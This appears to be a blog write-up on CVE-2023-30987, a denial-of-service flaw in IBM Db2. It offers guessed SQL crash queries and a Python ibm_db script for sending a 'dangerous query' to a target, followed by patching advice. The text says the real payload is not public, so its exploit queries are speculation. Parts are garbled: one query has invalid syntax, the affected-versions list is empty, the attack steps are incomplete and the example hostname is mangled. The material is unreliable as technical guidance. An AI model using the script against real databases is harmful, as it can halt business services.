CVE-2023-30987 - Exploiting Denial of Service in IBM Db2 for Linux, UNIX, and Windows

IBM Db2 stands tall among the most popular enterprise RDBMS choices. As with any widely deployed system, scrutinizing and understanding security vulnerabilities is essential. In this exclusive write-up, we’ll break down CVE-2023-30987: a denial-of-service (DoS) vulnerability discovered in several releases of IBM Db2 for Linux, UNIX and Windows—including Db2 Connect Server. We’ll walk through the affected versions, the attack method, include code snippets, and highlight practical defensive measures.

What is CVE-2023-30987?

CVE-2023-30987 is a security issue in IBM Db2 which allows an attacker—by sending a specially crafted query—to crash the database instance or render it unresponsive (a denial-of-service). According to IBM, this impacts these versions:

Official Advisory

- IBM Security Bulletin: CVE-2023-30987

Why is This a Real Threat?

The DoS vulnerability means that any user with privileges to execute queries on affected Db2 databases might be able to halt crucial business services. Since Db2 is usually used in the backend of business-critical applications, exploiting this can cause real-world financial and operational damage.

Vulnerability Details

IBM’s bulletin puts it simply:
> “A specially crafted query on certain databases could cause a crash.”

Here’s the translation:
An attacker can create a malformed SQL statement that triggers a bug deep in the Db2 query processing code, leading to a process crash or freeze.

Example Proof-of-Concept (PoC) Query

*Note: The exact payload is not public, but based on similar previous Db2 vulnerabilities (e.g., CVE-2022-29857), attackers often use extremely large or malformed queries to break the SQL engine. Below is a safe demonstration:*

-- Simulate complex, edge-case queries
SELECT 
  MAX(CAST(REPEAT('A', 100000) AS VARCHAR(32000)))
FROM 
  SYSIBM.SYSDUMMY1;

*In actual exploits, the attack might use unusual functions or deeply nested sub-queries to trigger the crash. Here’s a more “crafted” example for concept:*

SELECT 
  (SELECT COUNT(*) FROM (SELECT 1/(RAND()*) FROM SYSIBM.SYSDUMMY1) AS t)
FROM 
  SYSIBM.SYSDUMMY1;

*The above query tries to induce calculation errors and edge-case resource use.*

⚠️ WARNING: Do not test malformed queries on production databases; you risk real downtime.

Reconnaissance – Attacker identifies application entry points talking to Db2.

2. Authentication – Attacker logs in (uses weak credentials, stolen accounts, or an application feature).

Real-World Exploit Example (Python)

Here’s a mockup Python script that sends dangerous queries to a Db2 database.

import ibm_db

# Replace with your target's DSN info
dsn = (
    "DATABASE=sample;"
    "HOSTNAME=127...1;"
    "PORT=50000;"
    "PROTOCOL=TCPIP;"
    "UID=db2user;"
    "PWD=password;"
)

conn = ibm_db.connect(dsn, "", "")

# Crafted dangerous query
query = "SELECT MAX(CAST(REPEAT('X', 100000) AS VARCHAR(32000))) FROM SYSIBM.SYSDUMMY1"

try:
    stmt = ibm_db.exec_immediate(conn, query)
    print("Query sent!")
except Exception as e:
    print(f"Database crashed or error occurred: {e}")

ibm_db.close(conn)

> Replace query with a targeted payload for actual DoS (do not attack unconsenting servers).

Apply latest Fixpacks available after May 2023.

- IBM Fix Central

References & Further Reading

- IBM Security Bulletin: CVE-2023-30987
- IBM X-Force Exchange: 253440
- Db2 Fix Central
- NIST NVD Dictionary Entry: CVE-2023-30987

Summary

CVE-2023-30987 is yet another reminder that no database is immune to DoS attacks from within its own query engine. Patch your Db2 servers fast, restrict who can send ad-hoc SQL, and keep a close eye on your logs. Don’t give attackers—even your own insiders—an easy way to halt your business.

Timeline

Published on: 10/16/2023 21:15:10 UTC
Last modified on: 12/22/2023 21:07:56 UTC